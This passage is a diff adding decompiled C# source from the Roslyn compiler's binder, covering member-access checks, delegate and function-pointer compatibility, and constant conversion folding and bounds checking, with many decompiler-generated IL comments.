(IsMemberAccessedThroughType(receiverOpt)) + { + if (receiverOpt.Kind == BoundKind.QueryClause) + { + diagnostics.Add(ErrorCode.ERR_QueryNoProvider, node.Location, receiverOpt.Type, memberSymbol.Name); + } + else + { + diagnostics.Add(ErrorCode.ERR_ObjectRequired, node.Location, memberSymbol); + } + return true; + } + } + else if (!WasImplicitReceiver(receiverOpt) && IsMemberAccessedThroughVariableOrValue(receiverOpt)) + { + if (Flags.Includes(BinderFlags.CollectionInitializerAddMethod)) + { + diagnostics.Add(ErrorCode.ERR_InitializerAddHasWrongSignature, node.Location, memberSymbol); + } + else if (node.Kind() == SyntaxKind.AwaitExpression && memberSymbol.Name == "GetAwaiter") + { + diagnostics.Add(ErrorCode.ERR_BadAwaitArg, node.Location, receiverOpt.Type); + } + else + { + diagnostics.Add(ErrorCode.ERR_ObjectProhibited, node.Location, memberSymbol); + } + return true; + } + } + else + { + if (IsMemberAccessedThroughType(receiverOpt)) + { + diagnostics.Add(ErrorCode.ERR_ObjectRequired, node.Location, memberSymbol); + return true; + } + if (WasImplicitReceiver(receiverOpt)) + { + if ((InFieldInitializer && !ContainingType.IsScriptClass) || InConstructorInitializer || InAttributeArgument) + { + SyntaxNode val = node; + if (node.Parent != null && node.Parent.Kind() == SyntaxKind.InvocationExpression) + { + val = node.Parent; + } + ErrorCode code = (InFieldInitializer ? ErrorCode.ERR_FieldInitRefNonstatic : ErrorCode.ERR_ObjectRequired); + diagnostics.Add(code, val.Location, memberSymbol); + return true; + } + if (receiverOpt == null || ContainingMember().IsStatic) + { + Error(diagnostics, ErrorCode.ERR_ObjectRequired, SyntaxNodeOrToken.op_Implicit(node), memberSymbol); + return true; + } + } + } + } + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType != null) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool num = IsSymbolAccessibleConditional(memberSymbol.GetTypeOrReturnType().Type, containingType, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + if (!num) + { + Error(diagnostics, ErrorCode.ERR_BadAccess, SyntaxNodeOrToken.op_Implicit(node), memberSymbol); + return true; + } + } + return false; + } + + private static bool IsMemberAccessedThroughVariableOrValue(BoundExpression? receiverOpt) + { + if (receiverOpt == null) + { + return false; + } + return !IsMemberAccessedThroughType(receiverOpt); + } + + internal static bool IsMemberAccessedThroughType([NotNullWhen(true)] BoundExpression? receiverOpt) + { + if (receiverOpt == null) + { + return false; + } + while (receiverOpt.Kind == BoundKind.QueryClause) + { + receiverOpt = ((BoundQueryClause)receiverOpt).Value; + } + return receiverOpt.Kind == BoundKind.TypeExpression; + } + + internal static bool WasImplicitReceiver([NotNullWhen(false)] BoundExpression? receiverOpt) + { + if (receiverOpt == null) + { + return true; + } + if (!receiverOpt.WasCompilerGenerated) + { + return false; + } + BoundKind kind = receiverOpt.Kind; + if (kind - 110 <= BoundKind.ParameterEqualsValue) + { + return true; + } + return false; + } + + internal bool MethodIsCompatibleWithDelegateOrFunctionPointer(BoundExpression? receiverOpt, bool isExtensionMethod, MethodSymbol method, TypeSymbol delegateType, Location errorLocation, BindingDiagnosticBag diagnostics) + { + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_017d: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_01a2: Unknown result type (might be due to invalid IL or missing references) + //IL_01a5: Invalid comparison between Unknown and I4 + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_01bc: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Unknown result type (might be due to invalid IL or missing references) + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_0270: Unknown result type (might be due to invalid IL or missing references) + //IL_0234: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol; + if (delegateType is NamedTypeSymbol namedTypeSymbol) + { + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod != null) + { + methodSymbol = delegateInvokeMethod; + goto IL_004c; + } + } + else if (delegateType is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null) + { + methodSymbol = signature; + goto IL_004c; + } + } + throw ExceptionUtilities.UnexpectedValue((object)delegateType); + IL_004c: + MethodSymbol methodSymbol2 = methodSymbol; + ImmutableArray parameters = methodSymbol2.Parameters; + ImmutableArray parameters2 = method.Parameters; + int length = parameters.Length; + if (parameters2.Length != length + (isExtensionMethod ? 1 : 0)) + { + Error(diagnostics, getMethodMismatchErrorCode(delegateType.TypeKind), errorLocation, method, delegateType); + return false; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + useSiteInfo._002Ector(useSiteInfo); + for (int i = 0; i < length; i++) + { + ParameterSymbol parameterSymbol = parameters[i]; + ParameterSymbol parameterSymbol2 = parameters2[isExtensionMethod ? (i + 1) : i]; + if (!hasConversion(this, delegateType.TypeKind, Conversions, parameterSymbol.Type, parameterSymbol2.Type, parameterSymbol.RefKind, parameterSymbol2.RefKind, ref useSiteInfo)) + { + Error(diagnostics, getMethodMismatchErrorCode(delegateType.TypeKind), errorLocation, method, delegateType); + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return false; + } + } + if (methodSymbol2.RefKind != method.RefKind) + { + Error(diagnostics, getRefMismatchErrorCode(delegateType.TypeKind), errorLocation, method, delegateType); + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return false; + } + TypeSymbol returnType = method.ReturnType; + TypeSymbol returnType2 = methodSymbol2.ReturnType; + bool flag = default(bool); + if ((object)methodSymbol2 != null) + { + RefKind refKind = methodSymbol2.RefKind; + flag = (((int)refKind != 0 || !methodSymbol2.ReturnsVoid) ? hasConversion(this, delegateType.TypeKind, Conversions, returnType, returnType2, method.RefKind, refKind, ref useSiteInfo) : method.ReturnsVoid); + } + else + { + global::_003CPrivateImplementationDetails_003E.ThrowInvalidOperationException(); + } + if (!flag) + { + Error(diagnostics, ErrorCode.ERR_BadRetType, errorLocation, method, method.ReturnType); + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return false; + } + if (delegateType.IsFunctionPointer()) + { + if (isExtensionMethod) + { + Error(diagnostics, ErrorCode.ERR_CannotUseReducedExtensionMethodInAddressOf, errorLocation); + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return false; + } + if (!method.IsStatic) + { + Error(diagnostics, ErrorCode.ERR_FuncPtrMethMustBeStatic, errorLocation, method); + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return false; + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return true; + static ErrorCode getMethodMismatchErrorCode(TypeKind type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if ((int)type == 3) + { + return ErrorCode.ERR_MethDelegateMismatch; + } + if ((int)type != 13) + { + throw ExceptionUtilities.UnexpectedValue((object)type); + } + return ErrorCode.ERR_MethFuncPtrMismatch; + } + static ErrorCode getRefMismatchErrorCode(TypeKind type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if ((int)type == 3) + { + return ErrorCode.ERR_DelegateRefMismatch; + } + if ((int)type != 13) + { + throw ExceptionUtilities.UnexpectedValue((object)type); + } + return ErrorCode.ERR_FuncPtrRefMismatch; + } + static bool hasConversion(Binder binder, TypeKind targetKind, Conversions conversions, TypeSymbol source, TypeSymbol destination, RefKind sourceRefKind, RefKind destinationRefKind, ref CompoundUseSiteInfo useSiteInfo2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + if (!Microsoft.CodeAnalysis.CSharp.OverloadResolution.AreRefsCompatibleForMethodConversion(sourceRefKind, destinationRefKind, binder.Compilation)) + { + return false; + } + if ((int)sourceRefKind != 0) + { + return ConversionsBase.HasIdentityConversion(source, destination); + } + if (conversions.HasIdentityOrImplicitReferenceConversion(source, destination, ref useSiteInfo2)) + { + return true; + } + if ((int)targetKind == 13) + { + if (!ConversionsBase.HasImplicitPointerToVoidConversion(source, destination)) + { + return conversions.HasImplicitPointerConversion(source, destination, ref useSiteInfo2); + } + return true; + } + return false; + } + } + + private bool MethodGroupConversionHasErrors(SyntaxNode syntax, Conversion conversion, BoundExpression? receiverOpt, bool isExtensionMethod, bool isAddressOf, TypeSymbol delegateOrFuncPtrType, BindingDiagnosticBag diagnostics) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + MethodSymbol method = conversion.Method; + if (!Conversions.IsAssignableFromMulticastDelegate(delegateOrFuncPtrType, ref useSiteInfo) && (!MethodIsCompatibleWithDelegateOrFunctionPointer(receiverOpt, isExtensionMethod, method, delegateOrFuncPtrType, syntax.Location, diagnostics) || MemberGroupFinalValidation(receiverOpt, method, syntax, diagnostics, isExtensionMethod))) + { + return true; + } + if (method.IsConditional) + { + Error(diagnostics, ErrorCode.ERR_DelegateOnConditional, syntax.Location, method); + return true; + } + if (method is SourceOrdinaryMethodSymbol { IsPartialWithoutImplementation: not false }) + { + Error(diagnostics, ErrorCode.ERR_PartialMethodToDelegate, syntax.Location, method); + return true; + } + if ((method.HasParameterContainingPointerType() || method.ReturnType.ContainsPointer()) && ReportUnsafeIfNotAllowed(syntax, diagnostics)) + { + return true; + } + CheckParameterModifierMismatchMethodConversion(syntax, method, delegateOrFuncPtrType, isExtensionMethod, diagnostics); + if (!isAddressOf) + { + ReportDiagnosticsIfUnmanagedCallersOnly(diagnostics, method, SyntaxNodeOrToken.op_Implicit(syntax), isDelegateConversion: true); + } + ReportDiagnosticsIfObsolete(diagnostics, method, SyntaxNodeOrToken.op_Implicit(syntax), hasBaseReceiver: false); + return false; + } + + private bool MethodGroupConversionDoesNotExistOrHasErrors(BoundMethodGroup boundMethodGroup, NamedTypeSymbol delegateType, Location delegateMismatchLocation, BindingDiagnosticBag diagnostics, out Conversion conversion) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (ReportDelegateInvokeUseSiteDiagnostic(diagnostics, delegateType, delegateMismatchLocation)) + { + conversion = Conversion.NoConversion; + return true; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + conversion = Conversions.GetMethodGroupDelegateConversion(boundMethodGroup, delegateType, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(delegateMismatchLocation, useSiteInfo); + if (!conversion.Exists) + { + if (!Microsoft.CodeAnalysis.CSharp.Conversions.ReportDelegateOrFunctionPointerMethodGroupDiagnostics(this, boundMethodGroup, delegateType, diagnostics)) + { + diagnostics.Add(ErrorCode.ERR_MethDelegateMismatch, delegateMismatchLocation, boundMethodGroup.Name, delegateType); + } + return true; + } + return MethodGroupConversionHasErrors(boundMethodGroup.Syntax, conversion, boundMethodGroup.ReceiverOpt, conversion.IsExtensionMethod, isAddressOf: false, delegateType, diagnostics); + } + + public ConstantValue? FoldConstantConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Invalid comparison between Unknown and I4 + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + ConstantValue constantValueOpt = source.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null) + { + if (conversion.Kind == ConversionKind.DefaultLiteral) + { + return destination.GetDefaultValue(); + } + return constantValueOpt; + } + if (constantValueOpt.IsBad) + { + return constantValueOpt; + } + if (source.HasAnyErrors) + { + return null; + } + switch (conversion.Kind) + { + case ConversionKind.Identity: + { + SpecialType specialType = destination.SpecialType; + if ((int)specialType != 18) + { + if ((int)specialType == 19) + { + return ConstantValue.Create(constantValueOpt.DoubleValue); + } + return constantValueOpt; + } + return ConstantValue.Create(constantValueOpt.SingleValue); + } + case ConversionKind.NullLiteral: + return constantValueOpt; + case ConversionKind.ImplicitConstant: + return FoldConstantNumericConversion(syntax, constantValueOpt, destination, diagnostics); + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ExplicitNumeric: + case ConversionKind.ExplicitEnumeration: + if (destination.IsNullableType()) + { + return null; + } + return FoldConstantNumericConversion(syntax, constantValueOpt, destination, diagnostics); + case ConversionKind.ImplicitReference: + case ConversionKind.ExplicitReference: + if (!constantValueOpt.IsNull) + { + return null; + } + return constantValueOpt; + default: + return null; + } + } + + private ConstantValue? FoldConstantNumericConversion(SyntaxNode syntax, ConstantValue sourceValue, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Invalid comparison between Unknown and I4 + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Invalid comparison between Unknown and I4 + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + SpecialType val = (((object)destination == null || !destination.IsEnumType()) ? destination.GetSpecialTypeSafe() : ((NamedTypeSymbol)destination).EnumUnderlyingType.SpecialType); + bool maySucceedAtRuntime; + if (sourceValue.IsDecimal) + { + if (!CheckConstantBounds(val, sourceValue, out maySucceedAtRuntime)) + { + Error(diagnostics, ErrorCode.ERR_ConstOutOfRange, SyntaxNodeOrToken.op_Implicit(syntax), sourceValue.Value?.ToString() + "M", destination); + return ConstantValue.Bad; + } + } + else if ((int)val == 17) + { + if (!CheckConstantBounds(val, sourceValue, out maySucceedAtRuntime)) + { + Error(diagnostics, ErrorCode.ERR_ConstOutOfRange, SyntaxNodeOrToken.op_Implicit(syntax), sourceValue.Value, destination); + return ConstantValue.Bad; + } + } + else if (CheckOverflowAtCompileTime) + { + if (!CheckConstantBounds(val, sourceValue, out var maySucceedAtRuntime2)) + { + if (maySucceedAtRuntime2) + { + Error(diagnostics, ErrorCode.WRN_ConstOutOfRangeChecked, SyntaxNodeOrToken.op_Implicit(syntax), sourceValue.Value, destination); + return null; + } + Error(diagnostics, ErrorCode.ERR_ConstOutOfRangeChecked, SyntaxNodeOrToken.op_Implicit(syntax), sourceValue.Value, destination); + return ConstantValue.Bad; + } + } + else if (((int)val == 21 || (int)val == 22) && !CheckConstantBounds(val, sourceValue, out maySucceedAtRuntime)) + { + return null; + } + return ConstantValue.Create(DoUncheckedConversion(val, sourceValue), val); + } + + private static object DoUncheckedConversion(SpecialType destinationType, ConstantValue value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Expected I4, but got Unknown + //IL_0514: Unknown result type (might be due to invalid IL or missing references) + //IL_0516: Unknown result type (might be due to invalid IL or missing references) + //IL_0558: Expected I4, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected I4, but got Unknown + //IL_05e1: Unknown result type (might be due to invalid IL or missing references) + //IL_05e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0625: Expected I4, but got Unknown + //IL_01d9: Unknown result type (might be due to invalid IL or missing references) + //IL_01db: Unknown result type (might be due to invalid IL or missing references) + //IL_021d: Expected I4, but got Unknown + //IL_06af: Unknown result type (might be due to invalid IL or missing references) + //IL_06b1: Unknown result type (might be due to invalid IL or missing references) + //IL_06f3: Expected I4, but got Unknown + //IL_0298: Unknown result type (might be due to invalid IL or missing references) + //IL_029a: Unknown result type (might be due to invalid IL or missing references) + //IL_02dc: Expected I4, but got Unknown + //IL_0788: Unknown result type (might be due to invalid IL or missing references) + //IL_078a: Unknown result type (might be due to invalid IL or missing references) + //IL_07cc: Expected I4, but got Unknown + //IL_0365: Unknown result type (might be due to invalid IL or missing references) + //IL_0367: Unknown result type (might be due to invalid IL or missing references) + //IL_03a9: Expected I4, but got Unknown + //IL_0866: Unknown result type (might be due to invalid IL or missing references) + //IL_0868: Unknown result type (might be due to invalid IL or missing references) + //IL_08aa: Expected I4, but got Unknown + //IL_0445: Unknown result type (might be due to invalid IL or missing references) + //IL_0447: Unknown result type (might be due to invalid IL or missing references) + //IL_0485: Expected I4, but got Unknown + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Expected I4, but got Unknown + //IL_0b6f: Unknown result type (might be due to invalid IL or missing references) + //IL_0937: Unknown result type (might be due to invalid IL or missing references) + //IL_0a46: Unknown result type (might be due to invalid IL or missing references) + //IL_05cd: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_069b: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + //IL_0774: Unknown result type (might be due to invalid IL or missing references) + //IL_0351: Unknown result type (might be due to invalid IL or missing references) + //IL_0852: Unknown result type (might be due to invalid IL or missing references) + //IL_0431: Unknown result type (might be due to invalid IL or missing references) + //IL_092b: Unknown result type (might be due to invalid IL or missing references) + //IL_0500: Unknown result type (might be due to invalid IL or missing references) + //IL_01c6: Unknown result type (might be due to invalid IL or missing references) + //IL_095a: Unknown result type (might be due to invalid IL or missing references) + //IL_095c: Unknown result type (might be due to invalid IL or missing references) + //IL_099e: Expected I4, but got Unknown + //IL_0a65: Unknown result type (might be due to invalid IL or missing references) + //IL_0a67: Unknown result type (might be due to invalid IL or missing references) + //IL_0aa9: Expected I4, but got Unknown + //IL_0a1a: Unknown result type (might be due to invalid IL or missing references) + //IL_0a21: Invalid comparison between Unknown and I4 + //IL_0a3a: Unknown result type (might be due to invalid IL or missing references) + //IL_0b62: Unknown result type (might be due to invalid IL or missing references) + ConstantValueTypeDiscriminator discriminator = value.Discriminator; + bool maySucceedAtRuntime; + switch (discriminator - 2) + { + case 1: + { + byte byteValue = value.ByteValue; + switch (destinationType - 8) + { + case 2: + return byteValue; + case 0: + return (char)byteValue; + case 4: + return (ushort)byteValue; + case 6: + return (uint)byteValue; + case 8: + return (ulong)byteValue; + case 1: + return (sbyte)byteValue; + case 3: + return (short)byteValue; + case 5: + return (int)byteValue; + case 7: + return (long)byteValue; + case 13: + return (int)byteValue; + case 14: + return (uint)byteValue; + case 10: + case 11: + return (double)(int)byteValue; + case 9: + return (decimal)byteValue; + default: + throw ExceptionUtilities.UnexpectedValue((object)destinationType); + } + } + case 10: + { + char charValue = value.CharValue; + switch (destinationType - 8) + { + case 2: + return (byte)charValue; + case 0: + return charValue; + case 4: + return (ushort)charValue; + case 6: + return (uint)charValue; + case 8: + return (ulong)charValue; + case 1: + return (sbyte)charValue; + case 3: + return (short)charValue; + case 5: + return (int)charValue; + case 7: + return (long)charValue; + case 13: + return (int)charValue; + case 14: + return (uint)charValue; + case 10: + case 11: + return (double)(int)charValue; + case 9: + return (decimal)charValue; + default: + throw ExceptionUtilities.UnexpectedValue((object)destinationType); + } + } + case 3: + { + ushort uInt16Value = value.UInt16Value; + switch (destinationType - 8) + { + case 2: + return (byte)uInt16Value; + case 0: + return (char)uInt16Value; + case 4: + return uInt16Value; + case 6: + return (uint)uInt16Value; + case 8: + return (ulong)uInt16Value; + case 1: + return (sbyte)uInt16Value; + case 3: + return (short)uInt16Value; + case 5: + return (int)uInt16Value; + case 7: + return (long)uInt16Value; + case 13: + return (int)uInt16Value; + case 14: + return (uint)uInt16Value; + case 10: + case 11: + return (double)(int)uInt16Value; + case 9: + return (decimal)uInt16Value; + default: + throw ExceptionUtilities.UnexpectedValue((object)destinationType); + } + } + case 5: + { + uint uInt32Value = value.UInt32Value; + return (destinationType - 8) switch + { + 2 => (byte)uInt32Value, + 0 => (char)uInt32Value, + 4 => (ushort)uInt32Value, + 6 => uInt32Value, + 8 => (ulong)uInt32Value, + 1 => (sbyte)uInt32Value, + 3 => (short)uInt32Value, + 5 => (int)uInt32Value, + 7 => (long)uInt32Value, + 13 => (int)uInt32Value, + 14 => uInt32Value, + 10 => (double)(float)uInt32Value, + 11 => (double)uInt32Value, + 9 => (decimal)uInt32Value, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 7: + { + ulong uInt64Value = value.UInt64Value; + return (destinationType - 8) switch + { + 2 => (byte)uInt64Value, + 0 => (char)uInt64Value, + 4 => (ushort)uInt64Value, + 6 => (uint)uInt64Value, + 8 => uInt64Value, + 1 => (sbyte)uInt64Value, + 3 => (short)uInt64Value, + 5 => (int)uInt64Value, + 7 => (long)uInt64Value, + 13 => (int)uInt64Value, + 14 => (uint)uInt64Value, + 10 => (double)(float)uInt64Value, + 11 => (double)uInt64Value, + 9 => (decimal)uInt64Value, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 9: + { + uint uInt32Value2 = value.UInt32Value; + return (destinationType - 8) switch + { + 2 => (byte)uInt32Value2, + 0 => (char)uInt32Value2, + 4 => (ushort)uInt32Value2, + 6 => uInt32Value2, + 8 => (ulong)uInt32Value2, + 1 => (sbyte)uInt32Value2, + 3 => (short)uInt32Value2, + 5 => (int)uInt32Value2, + 7 => (long)uInt32Value2, + 13 => (int)uInt32Value2, + 10 => (double)(float)uInt32Value2, + 11 => (double)uInt32Value2, + 9 => (decimal)uInt32Value2, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 0: + { + sbyte sByteValue = value.SByteValue; + switch (destinationType - 8) + { + case 2: + return (byte)sByteValue; + case 0: + return (char)sByteValue; + case 4: + return (ushort)sByteValue; + case 6: + return (uint)sByteValue; + case 8: + return (ulong)sByteValue; + case 1: + return sByteValue; + case 3: + return (short)sByteValue; + case 5: + return (int)sByteValue; + case 7: + return (long)sByteValue; + case 13: + return (int)sByteValue; + case 14: + return (uint)sByteValue; + case 10: + case 11: + return (double)sByteValue; + case 9: + return (decimal)sByteValue; + default: + throw ExceptionUtilities.UnexpectedValue((object)destinationType); + } + } + case 2: + { + short int16Value = value.Int16Value; + switch (destinationType - 8) + { + case 2: + return (byte)int16Value; + case 0: + return (char)int16Value; + case 4: + return (ushort)int16Value; + case 6: + return (uint)int16Value; + case 8: + return (ulong)int16Value; + case 1: + return (sbyte)int16Value; + case 3: + return int16Value; + case 5: + return (int)int16Value; + case 7: + return (long)int16Value; + case 13: + return (int)int16Value; + case 14: + return (uint)int16Value; + case 10: + case 11: + return (double)int16Value; + case 9: + return (decimal)int16Value; + default: + throw ExceptionUtilities.UnexpectedValue((object)destinationType); + } + } + case 4: + { + int int32Value2 = value.Int32Value; + return (destinationType - 8) switch + { + 2 => (byte)int32Value2, + 0 => (char)int32Value2, + 4 => (ushort)int32Value2, + 6 => (uint)int32Value2, + 8 => (ulong)int32Value2, + 1 => (sbyte)int32Value2, + 3 => (short)int32Value2, + 5 => int32Value2, + 7 => (long)int32Value2, + 13 => int32Value2, + 14 => (uint)int32Value2, + 10 => (double)(float)int32Value2, + 11 => (double)int32Value2, + 9 => (decimal)int32Value2, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 6: + { + long int64Value = value.Int64Value; + return (destinationType - 8) switch + { + 2 => (byte)int64Value, + 0 => (char)int64Value, + 4 => (ushort)int64Value, + 6 => (uint)int64Value, + 8 => (ulong)int64Value, + 1 => (sbyte)int64Value, + 3 => (short)int64Value, + 5 => (int)int64Value, + 7 => int64Value, + 13 => (int)int64Value, + 14 => (uint)int64Value, + 10 => (double)(float)int64Value, + 11 => (double)int64Value, + 9 => (decimal)int64Value, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 8: + { + int int32Value = value.Int32Value; + return (destinationType - 8) switch + { + 2 => (byte)int32Value, + 0 => (char)int32Value, + 4 => (ushort)int32Value, + 6 => (uint)int32Value, + 8 => (ulong)int32Value, + 1 => (sbyte)int32Value, + 3 => (short)int32Value, + 5 => int32Value, + 7 => (long)int32Value, + 13 => int32Value, + 14 => (uint)int32Value, + 10 => (double)(float)int32Value, + 11 => (double)int32Value, + 9 => (decimal)int32Value, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 12: + case 13: + { + double num2 = (CheckConstantBounds(destinationType, value.DoubleValue, out maySucceedAtRuntime) ? value.DoubleValue : 0.0); + return (destinationType - 8) switch + { + 2 => (byte)num2, + 0 => (char)num2, + 4 => (ushort)num2, + 6 => (uint)num2, + 8 => (ulong)num2, + 1 => (sbyte)num2, + 3 => (short)num2, + 5 => (int)num2, + 7 => (long)num2, + 13 => (int)num2, + 14 => (uint)num2, + 10 => (double)(float)num2, + 11 => num2, + 9 => ((int)value.Discriminator == 14) ? ((decimal)(float)num2) : ((decimal)num2), + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + case 15: + { + decimal num = (CheckConstantBounds(destinationType, value.DecimalValue, out maySucceedAtRuntime) ? value.DecimalValue : 0m); + return (destinationType - 8) switch + { + 2 => (byte)num, + 0 => (char)num, + 4 => (ushort)num, + 6 => (uint)num, + 8 => (ulong)num, + 1 => (sbyte)num, + 3 => (short)num, + 5 => (int)num, + 7 => (long)num, + 13 => (int)num, + 14 => (uint)num, + 10 => (double)(float)num, + 11 => (double)num, + 9 => num, + _ => throw ExceptionUtilities.UnexpectedValue((object)destinationType), + }; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)value.Discriminator); + } + } + + public static bool CheckConstantBounds(SpecialType destinationType, ConstantValue value, out bool maySucceedAtRuntime) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if (value.IsBad) + { + maySucceedAtRuntime = false; + return true; + } + object obj = CanonicalizeConstant(value); + if (!(obj is decimal)) + { + return CheckConstantBounds(destinationType, (double)obj, out maySucceedAtRuntime); + } + return CheckConstantBounds(destinationType, (decimal)obj, out maySucceedAtRuntime); + } + + private static bool CheckConstantBounds(SpecialType destinationType, double value, out bool maySucceedAtRuntime) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + maySucceedAtRuntime = false; + switch (destinationType - 8) + { + case 2: + if (-1.0 < value) + { + return value < 256.0; + } + return false; + case 0: + if (-1.0 < value) + { + return value < 65536.0; + } + return false; + case 4: + if (-1.0 < value) + { + return value < 65536.0; + } + return false; + case 6: + if (-1.0 < value) + { + return value < 4294967296.0; + } + return false; + case 8: + if (-1.0 < value) + { + return value < 1.8446744073709552E+19; + } + return false; + case 1: + if (-129.0 < value) + { + return value < 128.0; + } + return false; + case 3: + if (-32769.0 < value) + { + return value < 32768.0; + } + return false; + case 5: + if (-2147483649.0 < value) + { + return value < 2147483648.0; + } + return false; + case 7: + if (-9.223372036854776E+18 <= value) + { + return value < 9.223372036854776E+18; + } + return false; + case 9: + if 